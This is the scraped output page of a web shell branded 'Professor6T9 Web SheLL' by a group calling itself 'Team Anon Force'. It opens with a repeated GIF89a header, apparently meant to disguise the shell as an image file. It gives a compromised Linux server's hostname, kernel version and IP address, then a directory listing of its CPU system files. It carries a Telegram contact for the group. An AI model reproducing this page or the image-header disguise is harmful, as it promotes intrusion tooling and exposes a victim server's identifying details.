GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux vmi1105694.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
 Apache
 167.86.79.110
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0755 2025-12-27 01:17:25
.. dir - root/root 0755 2025-12-27 01:17:25
cpu0 dir - root/root 0755 2025-12-27 01:30:57
cpu1 dir - root/root 0755 2025-12-27 01:30:57
cpu2 dir - root/root 0755 2025-12-27 01:30:57
cpu3 dir - root/root 0755 2025-12-27 01:30:57
cpu4 dir - root/root 0755 2025-12-27 01:30:57
cpu5 dir - root/root 0755 2025-12-27 01:30:57
cpu6 dir - root/root 0755 2025-12-27 01:30:57
cpu7 dir - root/root 0755 2025-12-27 01:30:57
cpufreq dir - root/root 0755 2025-12-27 01:30:57
cpuidle dir - root/root 0755 2025-12-27 01:30:57
hotplug dir - root/root 0755 2025-12-27 01:30:57
power dir - root/root 0755 2025-12-27 01:30:57
smt dir - root/root 0755 2025-12-27 01:30:57
vulnerabilities dir - root/root 0755 2025-12-27 01:30:57
isolated application/octet-stream 4 KB root/root 0444 2025-12-27 01:30:57
kernel_max text/plain 4 KB root/root 0444 2025-12-27 01:30:57
modalias text/plain 4 KB root/root 0444 2025-12-27 01:30:57
offline application/octet-stream 4 KB root/root 0444 2025-12-27 01:30:57
online text/plain 4 KB root/root 0444 2025-12-27 01:17:25
possible text/plain 4 KB root/root 0444 2025-12-27 01:30:57
present text/plain 4 KB root/root 0444 2025-12-27 01:30:57
uevent application/x-empty 4 KB root/root 0644 2025-12-27 01:30:57
© Professor6T9